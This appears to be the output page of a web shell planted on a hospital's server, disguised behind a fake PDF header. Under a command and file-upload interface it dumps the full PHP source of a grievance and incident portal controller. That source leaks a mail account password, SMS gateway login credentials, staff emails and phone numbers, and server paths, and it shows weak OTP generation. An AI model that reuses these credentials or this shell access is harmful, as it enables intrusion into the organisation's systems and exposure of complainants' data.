%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/incident/application/controllers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/incident/application/controllers/Lodgegrievance_27102023.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
class Lodgegrievance extends MY_Controller
{
	public function __construct()
    {
         parent::__construct();
		 $this->load->model(array('Common_model', 'Api_model'));
		 $this->load->library('form_validation','session');
		 
	}
	/*
	* Function: index
	*/
    public function index()
    {
      redirect('lodgegrievance/dashboard');
	}
	
	/*
	* Function: getComplaintNumber
	*/
	public function getComplaintNumber()
	{
		$leadscount = count($this->Common_model->getAllRecords('tblcomplaints'));
		return 'SHI'.date('Y').($leadscount+1).substr(time('ms'),6,4);
	}
		
	/*
	* Function : academic
	*/
	public function academic()
	{
		$data = array();
        $head = array();
        $arrSeo = $this->Public_model->getSeo('academic');
		
		// Validate Session Exist Or Not
		validate_user_session();
		
		if($_POST['submit']=='submit') {
			
			
			$this->form_validation->set_rules('complaindetails', 'Incident Description', 'trim|required');
			$this->form_validation->set_rules('incident_occurred', 'Incident Occurred', 'trim|required');
			$this->form_validation->set_rules('affected_person_name', 'Affected Person Name', 'trim|required');
			//$this->form_validation->set_rules('affected_person_ipno', 'Affected Person IP. NO.', 'trim|required');
			$this->form_validation->set_rules('employee_acknowledgement', 'Employee Acknowledgement', 'trim|required');
		    $department_id = '2';
			if ($this->form_validation->run($this)) 
			{
				
					$incident_attachment = $this->uploadComplaintRelatedDoc();
					//validate OTP
					unset($_POST['submit']);
					$_POST['compNumber'] = $this->getComplaintNumber();
					$_POST['userId'] = $_SESSION['USER_DETAILS']['id'];
					$_POST['is_deleted'] = '0';
					$_POST['status'] = 'Not Processed';
					$_POST['regDate'] = date('Y-m-d H:i:s'); 
					$_POST['lastUpdationDate'] = date('Y-m-d H:i:s'); 
					$_POST['school_id'] = '1'; 
					$_POST['department_id'] = $department_id; 
					$_POST['incident_attachment'] = $incident_attachment;
					
					
				    $resp = $this->Common_model->saveinfo('tblcomplaints',$_POST);
		
					// Send Lodge Confirmation Complaint Email To User
					$params = array();
					$params = array('name'=>$_SESSION['USER_DETAILS']['fullName'],'compNumber'=>$_POST['compNumber'],'regDate'=>$_POST['regDate'],'complaindetails'=>$_POST['complaindetails'],'contactNo'=>$_SESSION['USER_DETAILS']['contactNo'],'userEmail'=>$_SESSION['USER_DETAILS']['userEmail'],'category'=>$_POST['incident_occurred'],'grievance_type'=>$_POST['employee_acknowledgement']);
					
					$this->sendUserConfirmationEmail($params);
					
					/*if($grievanceArray['grievance_sent_as'] == 'school_wise'){
					//if(in_array($_POST['grievance_type'],array('65','66','70','77','83'))){
						 $contactAdminDetails = $this->Common_model->getSingleRecordofgrievanceEmailSpoke('admin','*',$_POST['grievance_type'],array('status'=>'1','category'=>'Academic','school_id'=>$_POST['school_id'],'user_level'=>'L1'));	
					}
					//else if(in_array($_POST['grievance_type'],array('67','68','71','72'))){
					else if($grievanceArray['grievance_sent_as'] == 'department_wise'){
						$contactAdminDetails = $this->Common_model->getSingleRecordofgrievanceEmailSpoke('admin','*',$_POST['grievance_type'],array('status'=>'1','category'=>'Academic','school_id'=>$_POST['school_id'],'department_id'=>$_POST['department_id'],'user_level'=>'L1'));	
					}else if($grievanceArray['grievance_sent_as'] == 'other'){
						$contactAdminDetails = $this->Common_model->getSingleRecordofgrievanceEmailSpoke('admin','*',$_POST['grievance_type'],array('status'=>'1','category'=>'Academic','user_level'=>'L1'));	
					}else{
						$contactAdminDetails = array('full_name'=>'Kajal Jha','username'=>'kajal.jha@shardatech.org');
					}*/
					
				
					$departmentArray = $this->Common_model->getSingleRecord('admin','*',array('status'=>'1','is_deleted'=>'0','department_id'=>$department_id));	
					
					$adminArray =  array('contact_person'=>$departmentArray['full_name'],'support_email'=>$departmentArray['username']);					
					
					$this->sendComplaintAdminEmail($params, $adminArray);
					redirect('lodgegrievance/academic?msg=success&cnumber='.base64_encode($_POST['compNumber']));
				
			}	
			
		}
		$head['title'] = @$arrSeo['title']!='' ? $arrSeo['title'] : 'Lodge Academic Incident Management - Sharda Incident Management Portal';
		$this->load->view('_parts/empty_header', $head);
		$this->load->view('lodge_complaint', $data);
		$this->load->view('_parts/empty_no_footer');
	}
	
	
	/*
	*
	* Function : nonacademic
	*
	*/
	public function nonacademic()
	{
		$data = array();
        $head = array();
        $arrSeo = $this->Public_model->getSeo('nonacademic');
		
		// Validate Session Exist Or Not
		validate_user_session();
		
		// Get School List
		$data['schoolArray'] = $this->Common_model->getAllRecords('su_schools','*',array('status'=>'1'));
		
		if($_POST['submit']=='Submit'){
		
			$this->form_validation->set_rules('grievance_type', 'Grievance Type', 'trim|required');
			$this->form_validation->set_rules('complaindetails', 'Complain Details', 'trim|required');
			$this->form_validation->set_rules('otp', 'OTP', 'trim|required');
			$grievanceArray = $this->Common_model->getSingleRecord('grievance_type','*',array('id'=>$_POST['grievance_type'],'status'=>'1','category'=>'Non-Academic'));
			$data['error_msg'] = 'ERROR';
		    if($_POST['otp']!='') { 
					$record = $this->Common_model->getSingleRecord('grievance_otp', '*', array('user_email'=>$_SESSION['USER_DETAILS']['userEmail'],'user_mobile'=>$_SESSION['USER_DETAILS']['contactNo'], 'otp'=>$_POST['otp'],'verify_status'=>'0'));
					if($record['id']>0){
						$params = array();
						$params['verify_status'] = '1';
						$params['updationDate'] = date('Y-m-d H:i:s'); 
						$this->Common_model->updateinfo($tbl_name='grievance_otp', $params, 'id', $record['id']);
						$data['error_msg'] = '';
					} else { 
						$data['error_msg'] = '<p style="color:red;">Please enter valid OTP</p>';
					}
			 }
			
		   
			if ($this->form_validation->run($this) && $data['error_msg']=='') 
			{
				
					// validate OTP
					unset($_POST['submit']);
					unset($_POST['otp']);
					$_POST['userId'] = $_SESSION['USER_DETAILS']['id'];
					$image_resp = $this->uploadComplaintRelatedDoc();
					if(is_array($image_resp['error']) && $image_resp['error']!='')
					{ 
						$data['error_msg']	= $image_resp['error'];
					} else {
					$_POST['complaint_doc'] = $image_resp;
					$_POST['is_deleted'] = '0';
					$_POST['status'] = 'Not Processed';
					
					// Get Department Details
					$contactSpokeDetails = $this->Common_model->getSingleRecord('su_departments','*',array('name'=>$grievanceArray['department'],'status'=>'1'));
					$_POST['compNumber'] = $this->getComplaintNumber($contactSpokeDetails['school_id'],$contactSpokeDetails['id']);
					$nparams = array();
					$nparams['compNumber'] = $_POST['compNumber'];
					$nparams['category'] = $_POST['academic'];
					$nparams['grievance_type'] = $_POST['grievance_type'];
					$nparams['complaindetails'] = $_POST['complaindetails'];
					$nparams['userId'] = $_POST['userId'];
					$nparams['complaint_doc'] = $_POST['complaint_doc'];
					$nparams['is_deleted'] = $_POST['is_deleted'];
					$nparams['school_id'] = $contactSpokeDetails['school_id'];
					$nparams['department_id'] = $contactSpokeDetails['id'];
					$nparams['status'] = $_POST['status'];
					$nparams['regDate'] = date('Y-m-d H:i:s');
					$nparams['lastUpdationDate'] = date('Y-m-d H:i:s');
					$resp = $this->Common_model->saveinfo('tblcomplaints',$nparams);
				
					// Send Email To Related Department
					$params = array();
					$params = array('name'=>$_SESSION['USER_DETAILS']['fullName'],'compNumber'=>$_POST['compNumber'], 'category'=>'Non-Academic','complaindetails'=>$_POST['complaindetails'],'contactNo'=>$_SESSION['USER_DETAILS']['contactNo'],'userEmail'=>$_SESSION['USER_DETAILS']['userEmail'],'grievance_type'=>$grievanceArray['grievance_name']);
				
					$this->sendUserConfirmationEmail($params);
					
					// Get Contact Person Details
					//$contactAdminDetails = $this->Common_model->getSingleRecord('admin','*',array('grievance_type'=>$_POST['grievance_type'],'status'=>'1'));
					//$contactSpokeDetails = $this->Common_model->getSingleRecord('su_departments','*',array('name'=>$grievanceArray['department'],'status'=>'1'));
					
					if($contactSpokeDetails['id']>0 && $contactSpokeDetails['contact_email']!=''){
						$adminArray =  array('support_mobile'=>$contactSpokeDetails['contact_mobile'],'contact_person'=>$contactSpokeDetails['contact_person'],'support_email'=>$contactSpokeDetails['contact_email']);
					} else if($contactSpokeDetails['hod_mobile']>0 && $contactSpokeDetails['hod_email']!=''){
						$adminArray =  array('support_mobile'=>$contactSpokeDetails['hod_mobile'],'contact_person'=>$contactSpokeDetails['hod_name'],'support_email'=>$contactSpokeDetails['hod_email']);
					} else {
						$adminArray =  array('support_mobile'=>'8920976831','contact_person'=>'Amit','support_email'=>'amit.verma@shardatech.org');
					}
					
					$this->sendComplaintAdminEmail($params, $adminArray);
				
					redirect('lodgegrievance/nonacademic?msg=success&cnumber='.base64_encode($_POST['compNumber']));
				}
			}			
		}
		// Get Deparement List
		$data['departmentArray'] = $this->Common_model->getDepartmentList('su_departments','*',array('department_type'=>'2','status'=>'1','is_deleted'=>'0'));
				
		$grievanceArray = array();
		$grievanceArray = array('status'=>'1','category'=>'Non-Academic');
		if($_POST['department_id']){
			$grievanceArray = array('status'=>'1','category'=>'Non-Academic','department'=>$_POST['department_id']);
		} 

		//$data['grievanceArray'] = $this->Common_model->getAllRecords('grievance_type','id,grievance_name',$grievanceArray);

		$data['grievanceArray'] = $this->Common_model->getAllRecords('grievance_type','DISTINCT(grievance_name)',$grievanceArray);
		
		
		$head['title'] = @$arrSeo['title']!='' ? $arrSeo['title'] : 'Lodge Non-academic Grievance - Sharda Grievance Portal';
		$this->load->view('_parts/empty_header', $head);
		$this->load->view('nonacademiclodge_complaint', $data);
		$this->load->view('_parts/empty_no_footer');
	}
	/*
	*
	* Function : international
	*
	*/
	public function international()
	{
		$data = array();
        $head = array();
        $arrSeo = $this->Public_model->getSeo('international');
		
		// Validate Session Exist Or Not
		validate_user_session();
		
		// Get School List
		$data['schoolArray'] = $this->Common_model->getAllRecords('su_schools','*',array('status'=>'1'));
		
		if($_POST['submit']=='Submit'){
		
			$this->form_validation->set_rules('grievance_type', 'Grievance Type', 'trim|required');
			$this->form_validation->set_rules('complaindetails', 'Complain Details', 'trim|required');
			$this->form_validation->set_rules('otp', 'OTP', 'trim|required');
			$grievanceArray = $this->Common_model->getSingleRecord('grievance_type','*',array('id'=>$_POST['grievance_type'],'status'=>'1','category'=>'International'));
			$data['error_msg'] = 'ERROR';
		    if($_POST['otp']!='') { 
					$record = $this->Common_model->getSingleRecord('grievance_otp', '*', array('user_email'=>$_SESSION['USER_DETAILS']['userEmail'],'user_mobile'=>$_SESSION['USER_DETAILS']['contactNo'], 'otp'=>$_POST['otp'],'verify_status'=>'0'));
					if($record['id']>0){
						$params = array();
						$params['verify_status'] = '1';
						$params['updationDate'] = date('Y-m-d H:i:s'); 
						$this->Common_model->updateinfo($tbl_name='grievance_otp', $params, 'id', $record['id']);
						$data['error_msg'] = '';
					} else { 
						$data['error_msg'] = '<p style="color:red;">Please enter valid OTP</p>';
					}
			 }
			
		   
			if ($this->form_validation->run($this) && $data['error_msg']=='') 
			{
				
					// validate OTP
					unset($_POST['submit']);
					unset($_POST['otp']);
					
					$_POST['userId'] = $_SESSION['USER_DETAILS']['id'];
					$image_resp = $this->uploadComplaintRelatedDoc();
					if(is_array($image_resp['error']) && $image_resp['error']!='')
					{ 
						$data['error_msg']	= $image_resp['error'];
					} else {
						$_POST['complaint_doc'] = $image_resp;
						$_POST['is_deleted'] = '0';
						$_POST['status'] = 'Not Processed';
						
						// Get Department Details
						$contactSpokeDetails = $this->Common_model->getSingleRecord('su_departments','*',array('name'=>$grievanceArray['department'],'status'=>'1'));
						
						$_POST['compNumber'] = $this->getComplaintNumber($contactSpokeDetails['school_id'],$contactSpokeDetails['id']);
						
						$nparams = array();
						$nparams['compNumber'] = $_POST['compNumber'];
						$nparams['category'] = $_POST['academic'];
						$nparams['grievance_type'] = $_POST['grievance_type'];
						$nparams['complaindetails'] = $_POST['complaindetails'];
						$nparams['userId'] = $_POST['userId'];
						$nparams['complaint_doc'] = $_POST['complaint_doc'];
						$nparams['is_deleted'] = $_POST['is_deleted'];
						$nparams['school_id'] = $contactSpokeDetails['school_id'];
						$nparams['department_id'] = $contactSpokeDetails['id'];
						$nparams['status'] = $_POST['status'];
						$nparams['regDate'] = date('Y-m-d H:i:s');
						$nparams['lastUpdationDate'] = date('Y-m-d H:i:s');
						$resp = $this->Common_model->saveinfo('tblcomplaints',$nparams);
					
						// Send Email To Related Department
						$params = array();
						$params = array('name'=>$_SESSION['USER_DETAILS']['fullName'],'compNumber'=>$_POST['compNumber'], 'category'=>'International','complaindetails'=>$_POST['complaindetails'],'contactNo'=>$_SESSION['USER_DETAILS']['contactNo'],'userEmail'=>$_SESSION['USER_DETAILS']['userEmail'],'grievance_type'=>$grievanceArray['grievance_name']);
					
						$this->sendUserConfirmationEmail($params);
						
						// Get Contact Person Details
						##$contactAdminDetails = $this->Common_model->getSingleRecord('admin','*',array('grievance_type'=>$_POST['grievance_type'],'status'=>'1'));
						$contactSpokeDetails = $this->Common_model->getSingleRecord('su_departments','*',array('name'=>$grievanceArray['department'],'status'=>'1'));
					
						if($contactSpokeDetails['id']>0 && $contactSpokeDetails['contact_email']!=''){
							$adminArray =  array('support_mobile'=>$contactSpokeDetails['contact_mobile'],'contact_person'=>$contactSpokeDetails['contact_person'],'support_email'=>$contactSpokeDetails['contact_email']);
						} else if($contactSpokeDetails['hod_mobile']>0 && $contactSpokeDetails['hod_email']!=''){
							$adminArray =  array('support_mobile'=>$contactSpokeDetails['hod_mobile'],'contact_person'=>$contactSpokeDetails['hod_name'],'support_email'=>$contactSpokeDetails['hod_email']);
						} else {
							$adminArray =  array('support_mobile'=>'8920976831','contact_person'=>'Amit','support_email'=>'amit.verma@shardatech.org');
						}
						
						$this->sendComplaintAdminEmail($params, $adminArray);
					
						redirect('lodgegrievance/international?msg=success&cnumber='.base64_encode($_POST['compNumber']));
					}
			}			
		}
		// Get Deparement List
		$data['departmentArray'] = $this->Common_model->getDepartmentList('su_departments','*',array('department_type'=>'3','status'=>'1','is_deleted'=>'0'));
		
		// Get Grievance List
		$grievanceArray = array();
		$grievanceArray = array('status'=>'1','category'=>'International');
		if($_POST['department_id']){
			$grievanceArray = array('status'=>'1','category'=>'International','department'=>$_POST['department_id']);
		} 
		$data['grievanceArray'] = $this->Common_model->getAllRecords('grievance_type','id,grievance_name',$grievanceArray);
		
		
		$head['title'] = @$arrSeo['title']!='' ? $arrSeo['title'] : 'Lodge International Grievance - Sharda Grievance Portal';
		$this->load->view('_parts/empty_header', $head);
		$this->load->view('international_complaint', $data);
		$this->load->view('_parts/empty_no_footer');
	}
		
	/*
	* Function : uploadComplaintRelatedDoc
	*/
	private function uploadComplaintRelatedDoc()
	{
	
        $config['upload_path'] = './attachments/complaintdocs/';
        $config['allowed_types'] = 'gif|jpg|png|jpeg|JPG|PNG|JPEG|PDF|pdf';
		$config['file_ext_tolower'] = TRUE;
		$config['max_size'] = '5000';
        $this->load->library('upload', $config);
		$this->upload->initialize($config);
        if (!$this->upload->do_upload('complaint_doc') && !empty($_FILES['complaint_doc']['name'])) {
            log_message('error', 'Image Upload Error: ' . $this->upload->display_errors());
			return array('error'=>$this->upload->display_errors());
        }
        $img = $this->upload->data();
        return $img['file_name'];
    }
	
	/*
	* Function : ajaxgetdepartmentrecord
	*/
	public function ajaxgetdepartmentrecord()
	{
		if($_POST['school_id']>0)
		{
			$data_progremmes = $this->Common_model->getAllRecords('su_departments','*',array('status'=>'1','school_id'=>$_POST['school_id'],'department_type'=>'1'));
			$response = array();
			foreach($data_progremmes as $programe)
			{
				$response[$programe['id']] = $programe['name'];
			}
			header('Content-type: application/json');
			echo json_encode($response);
		}
		die;
	}
	
	/*
	* Function : ajaxgetgrievancerecord
	*/
	public function ajaxgetgrievancerecord()
	{
		if($_POST['department_id']!='')
		{
			$recordsArray = $this->Common_model->getAllRecords('grievance_type','id,grievance_name',array('status'=>'1','department'=>$_POST['department_id']));
			$response = array();
			foreach($recordsArray as $row)
			{
				$response[$row['id']] = $row['grievance_name'];
			}
			
			header('Content-type: application/json');
			echo json_encode($response);
		}
		die;
	}
			
	/*
	* Function : sendComplaintAdminEmail
	*/
	private function sendComplaintAdminEmail($params, $adminArray)
	{
		$mobile = $params['contactNo'];
		$email_id = $params['userEmail'];
		$compNumber = $params['compNumber'];
		$params['contactPerson'] = $adminArray['contact_person'];
		$support_email = $adminArray['support_email'];
		if($support_email!='') 
		{
			$template = $this->load->view('email_template/admin_lodgecomplaint_email', $params, true);
			$subject = 'We received new Incident - '.$compNumber;
			$this->sendCommonEmail($support_email, $subject, $template);
		}
		return true;
		// if($mobile!='') {
		// 	$sms_content="Incident Redressal Online Portal : Dear ".$adminArray['contact_person'].", We received a new Incident - $compNumber.";
		// 	$this->sendSMS($mobile, $sms_content);
		// }
	}
	
	
	/*
	* Function : sendUserConfirmationEmail
	*/
	private function sendUserConfirmationEmail($params)
	{
		$mobile = $params['contactNo'];
		$email_id = $params['userEmail'];
		$compNumber = $params['compNumber'];
		$name = $params['name'];
		if($email_id!='') 
		{
			$template = $this->load->view('email_template/lodgecomplaint_confirmation_email', $params, true);
			$subject = 'Dear '.$name.', Your Incident number '.$compNumber.' is Generated';
			$this->sendCommonEmail($email_id, $subject, $template);
		}
		
		if($mobile!='') {
			$sms_content="Incident Management Online Portal : We received your incident and your incident number is $compNumber. Our facilitation officer is now looking into the issue.";
			$this->sendSMS($mobile, $sms_content);
		}
	}
	
	/*
	* Function : sendOTPSMSEmail
	*/
	public function sendOTPSMSEmail($params)
	{
		$mobile = $params['user_mobile'];
		$email_id = $params['user_email'];
		$otp = $params['otp'];
		if($email_id!='') 
		{
				
			$template = $this->load->view('email_template/otp_send_email', $params, true);
			$subject = 'Grievance Redressal Online Portal - One Time Password (OTP)';
			$this->sendCommonEmail($email_id, $subject, $template);
		}
		
		if($mobile!='') {
			$sms_content="$otp  is your One-Time Password for Grievance Redressal Online Portal.";
			$this->sendSMS($mobile, $sms_content);
		}
	}

	/*
	* Function : sendCommonEmail
	*/
	private function sendCommonEmail($to, $subject, $message)
	{
		
		$resp = send_email_pepipost($to, $subject, $message);
		return $resp;
		
		/*$CI =& get_instance();
		$CI->load->library('email');
		$mail=$CI->email;
		$mail->clear();
		$from_email = 'grievance@sharda.ac.in';
		$from_name = 'Sharda University Grievance Redressal Online Portal';
		$config['charset'] = 'utf-8';
		$config['wordwrap'] = TRUE;
		$config['mailtype'] = 'html';
		$config['protocol']   = "smtp";
		$config['smtp_host']  = 'ssl://smtp.gmail.com';
		$config['smtp_user']  = 'grievance@sharda.ac.in';
		$config['smtp_pass']  = 'grievance@2020';
		$config['smtp_port']  = '465';
		$config['_auth_smtp'] = TRUE;
		$config['newline']    = "\r\n";
		$config['crlf']       = "\r\n";
		$mail->initialize($config);
		$mail->from($from_email, $from_name);
		$mail->to($to);
		$mail->reply_to($from_email, $from_name);
		$mail->subject($subject);
		$mail->message($message);
		return $mail->send();
		*/
	}
	
	/*
	* Function : sendSMS
	*/
	private function sendSMS($mob, $msg)
	{
		if($mob>0 && $msg!='')
		{
			$msg=urlencode($msg);
			$ch = curl_init();
			curl_setopt($ch,CURLOPT_URL,  "http://bulkpush.mytoday.com/BulkSms/SingleMsgApi");
			curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
			curl_setopt($ch, CURLOPT_POST, 1);
			curl_setopt($ch, CURLOPT_POSTFIELDS, "feedid=363901&username=9015129267&password=wgtpt&To=".$mob."&Text=".$msg."&time=&senderid=shardacom_trans");
			$buffer = curl_exec($ch);
			curl_close($ch);
			return true;
			
		}
	}
	
	/*
	* Function : sendotp
	*/
	public function sendotp()
	{
		$contactNo = $_SESSION['USER_DETAILS']['contactNo'];
		$userEmail = $_SESSION['USER_DETAILS']['userEmail'];
		
		if($contactNo!='' && $userEmail!='') {
			// Generate OTP
			$otp = $this->generateOTP();
			
			// Validate Request
			$record = $this->Common_model->getSingleRecord('grievance_otp', '*', array('user_email'=>$userEmail,'user_mobile'=>$contactNo));
		
			if(empty($record['id'])) {
					$params['creationDate'] = date('Y-m-d H:i:s');
					$params['otp'] = $otp;
					$params['status'] = '1';
					$params['user_email'] = $userEmail;
					$params['user_mobile'] = $contactNo;
					$params['status'] = '1';
					$params['verify_status'] = '0';
					$last_id = $this->Common_model->saveinfo('grievance_otp',$params);
					// Send SMS / EMail To Registtered Number and Email ID
					$this->sendOTPSMSEmail($params);
					echo '1001';
					exit();
			} else {
					$params['otp'] = $otp;
					$params['status'] = '1';
					$params['user_email'] = $userEmail;
					$params['user_mobile'] = $contactNo;
					$params['status'] = '1';
					$params['verify_status'] = '0';
					$params['updationDate'] = date('Y-m-d H:i:s'); 
					
					$this->Common_model->updateinfo($tbl_name='grievance_otp', $params, 'id', $record['id']);
					// Send SMS / EMail To Registtered Number and Email ID
					$this->sendOTPSMSEmail($params);
					echo '1002';
					exit();
			}
					
		} else {
			echo '2001';
			exit();
		}
	}
	
	/*
	* Function : generateOTP
	*/
	private function generateOTP()
	{
		return rand(111111, 999999);
		//return '232524';
	}
	
	/*
	* Function : leveltwo
	*/
	
	public function leveltwo()
	{
		//print_r($_POST); die;
		// validate the greivance ID
		$grievance_number = $_POST['grievance_number'];
		if($grievance_number!=''){
			$grievanceDetails = $this->Common_model->getSingleRecord('tblcomplaints','*',array('compNumber'=>$grievance_number));
			
			if(!empty($grievanceDetails)) {
				$params = array();
				$params['compNumber'] = $grievanceDetails['compNumber'];
				$params['userId'] = $grievanceDetails['userId'];
				$params['school_id'] = $grievanceDetails['school_id'];
				$params['department_id'] = $grievanceDetails['department_id'];
				$params['grievance_type'] = $grievanceDetails['grievance_type'];
				$params['complaint_doc'] = $grievanceDetails['complaint_doc'];
				$params['category'] = $grievanceDetails['category'];
				$params['lastUpdationDate'] = date('Y-m-d H:i:s');
				$params['status'] = 'Not Processed';
				$params['complaindetails'] = $_POST['level_two_remarks'];
				$params['complaint_level'] = '1';
				
				
				$grievanceLevelTwoDetails = $this->Common_model->getSingleRecord('tbl_leveltwo_complaints','*',array('compNumber'=>$grievance_number));
				if(empty($grievanceLevelTwoDetails))
				{
						// Save level2 grievance 
						$this->Common_model->saveinfo('tbl_leveltwo_complaints',$params);

						// Update tblcomplaints table complaint_level status form 3 to 4
						$this->Common_model->updateinfo('tblcomplaints',array('complaint_level'=>'4'),'complaintNumber',$grievanceDetails['complaintNumber']);

						$grievanceArray = $this->Common_model->getSingleRecord('grievance_type','*',array('id'=>$grievanceDetails['grievance_type'],'status'=>'1','category'=>'International'));
						
						// Send Email To Related Department
						$params = array();
						$params = array('name'=>$_SESSION['USER_DETAILS']['fullName'],'compNumber'=>$grievanceDetails['compNumber'], 'category'=>'International','complaindetails'=>$_POST['level_two_remarks'],'contactNo'=>$_SESSION['USER_DETAILS']['contactNo'],'userEmail'=>$_SESSION['USER_DETAILS']['userEmail'],'grievance_type'=>$grievanceArray[$grievanceDetails['grievance_type']]);
						
						// Send Confirmation Email to User
						//$this->sendUserConfirmationLevelTwoEmail($params);
						
						// Send Confirmation Email To Level Two Spokperson
						$contactSpokeDetails = array();
						if($grievanceDetails['category']=='Academic'){
							$contactSpokeDetails = $this->Common_model->getSingleRecord('admin','*', array('user_level'=>'L2','school_id'=>$grievanceDetails['school_id'],'status'=>'1','category'=>'Academic'));
						} else if($grievanceDetails['category']=='Non-academic'){
							$contactSpokeDetails = $this->Common_model->getSingleRecord('admin','*', array('user_level'=>'L2','status'=>'1','category'=>'Non-academic'));
						} else if($grievanceDetails['category']=='International') {
							$contactSpokeDetails = $this->Common_model->getSingleRecord('admin','*', array('user_level'=>'L2','status'=>'1','category'=>'International'));
						} 
					
						// Reassign the Support Email Array
						if(!empty($contactSpokeDetails)){
							$levelTwoArray =  array('support_mobile'=>$contactSpokeDetails['mobile_no'],'contact_person'=>$contactSpokeDetails['full_name'],'support_email'=>$contactSpokeDetails['username']);
						} else {
							$adminArray =  array('support_mobile'=>'8920976831','contact_person'=>'Default Email','support_email'=>'amit.verma@shardatech.org');
						}
						
						$this->sendComplaintAdminLevelTwoEmail($params, $adminArray);
						// Redirect to confirmation Page
						redirect(base_url('grievancehistory?key='.base64_encode($_POST['grievance_number']).'&msg=success'));
				} else {
					redirect(base_url('grievancehistory?key='.base64_encode($_POST['grievance_number']).'&msg=already_send'));	
				}
				
			} else {
				redirect(base_url('grievancehistory?key='.base64_encode($_POST['grievance_number']).'&msg=error'));
			}
		} else {
			redirect(base_url('grievancehistory?key='.base64_encode($_POST['grievance_number']).'&msg=error'));
		}
	}
	
	/*
	* Function : sendUserConfirmationLevelTwoEmail
	*/
	private function sendUserConfirmationLevelTwoEmail($params)
	{
		$mobile = $params['contactNo'];
		$email_id = $params['userEmail'];
		$compNumber = $params['compNumber'];
		$name = $params['name'];
		if($email_id!='') 
		{
			$template = $this->load->view('email_template/lodgecomplaint_leveltwo_confirmation_email', $params, true);
			$subject = 'Dear '.$name.', Your L2 level grievance number '.$compNumber.' is send to upper level committee';
			$this->sendCommonEmail($email_id, $subject, $template);
		}
		
		if($mobile!='') {
			$sms_content="Grievance Redressal Online Portal L2: We received your grievance and your grievance number $compNumber is sent to the upper level. Our upper level committee is now looking into the issue.";
			$this->sendSMS($mobile, $sms_content);
		}
	}
	
	/*
	* Function : sendComplaintAdminLevelTwoEmail
	*/
	private function sendComplaintAdminLevelTwoEmail($params, $adminArray)
	{
		$mobile = $params['contactNo'];
		$email_id = $params['userEmail'];
		$compNumber = $params['compNumber'];
		$params['contactPerson'] = $adminArray['contact_person'];
		$support_email = $adminArray['support_email'];
		
		if($support_email!='') 
		{
			$template = $this->load->view('email_template/admin_lodgeleveltwocomplaint_email', $params, true);
			$subject = 'Escaltion Reported - '.$compNumber;
			$this->sendCommonEmail($support_email, $subject, $template);
		}
		
		/*if($mobile!='') {
			$sms_content="Grievance Redressal Online Portal: Dear ".$adminArray['contact_person'].", We received a new grievance - $compNumber.";
			$this->sendSMS($mobile, $sms_content);
		}*/
	}
	
	/*
	* Function : levelthree
	*/
	
	public function levelthree()
	{
		//print_r($_POST); die;
		// validate the greivance ID
		$grievance_number = $_POST['grievance_number'];
		if($grievance_number!=''){
			$grievanceDetails = $this->Common_model->getSingleRecord('tblcomplaints','*',array('compNumber'=>$grievance_number));
			
			if(!empty($grievanceDetails)) {
				$params = array();
				$params['compNumber'] = $grievanceDetails['compNumber'];
				$params['userId'] = $grievanceDetails['userId'];
				$params['school_id'] = $grievanceDetails['school_id'];
				$params['department_id'] = $grievanceDetails['department_id'];
				$params['grievance_type'] = $grievanceDetails['grievance_type'];
				$params['complaint_doc'] = $grievanceDetails['complaint_doc'];
				$params['category'] = $grievanceDetails['category'];
				$params['lastUpdationDate'] = date('Y-m-d H:i:s');
				$params['status'] = 'Not Processed';
				$params['complaindetails'] = $_POST['level_two_remarks'];
				$params['complaint_level'] = '1';
				
				
				$grievanceLevelThreeDetails = $this->Common_model->getSingleRecord('tbl_levelthree_complaints','*',array('compNumber'=>$grievance_number));
				if(empty($grievanceLevelThreeDetails))
				{
						// Save level2 grievance 
						$this->Common_model->saveinfo('tbl_levelthree_complaints',$params);

						// Update tblcomplaints table complaint_level status form 3 to 4
						$this->Common_model->updateinfo('tblcomplaints',array('complaint_level'=>'7'),'complaintNumber',$grievanceDetails['complaintNumber']);

						$grievanceArray = $this->Common_model->getSingleRecord('grievance_type','*',array('id'=>$grievanceDetails['grievance_type'],'status'=>'1','category'=>'International'));
						
						// Send Email To Related Department
						$params = array();
						$params = array('name'=>$_SESSION['USER_DETAILS']['fullName'],'compNumber'=>$grievanceDetails['compNumber'], 'category'=>$grievanceDetails['category'],'complaindetails'=>$_POST['level_two_remarks'],'contactNo'=>$_SESSION['USER_DETAILS']['contactNo'],'userEmail'=>$_SESSION['USER_DETAILS']['userEmail'],'grievance_type'=>$grievanceArray[$grievanceDetails['grievance_type']]);
						
						// Send Confirmation Email to User
						//$this->sendUserConfirmationLevelThreeEmail($params);
						
						// Send Confirmation Email To Level Two Spokperson
						$contactSpokeDetails = array();
						$contactSpokeDetails = $this->Common_model->getSingleRecord('admin','*', array('user_level'=>'L3','status'=>'1'));
						
						// Reassign the Support Email Array
						if(!empty($contactSpokeDetails)){
							$levelTwoArray =  array('support_mobile'=>$contactSpokeDetails['mobile_no'],'contact_person'=>$contactSpokeDetails['full_name'],'support_email'=>$contactSpokeDetails['username']);
						} else {
							$adminArray =  array('support_mobile'=>'8920976831','contact_person'=>'Default L3 Email','support_email'=>'amit.verma@shardatech.org');
						}
						
						$this->sendComplaintAdminLevelThreeEmail($params, $adminArray);
						// Redirect to confirmation Page
						redirect(base_url('grievancehistory?key='.base64_encode($_POST['grievance_number']).'&msg=success'));
				} else {
					redirect(base_url('grievancehistory?key='.base64_encode($_POST['grievance_number']).'&msg=already_send'));	
				}
				
			} else {
				redirect(base_url('grievancehistory?key='.base64_encode($_POST['grievance_number']).'&msg=error'));
			}
		} else {
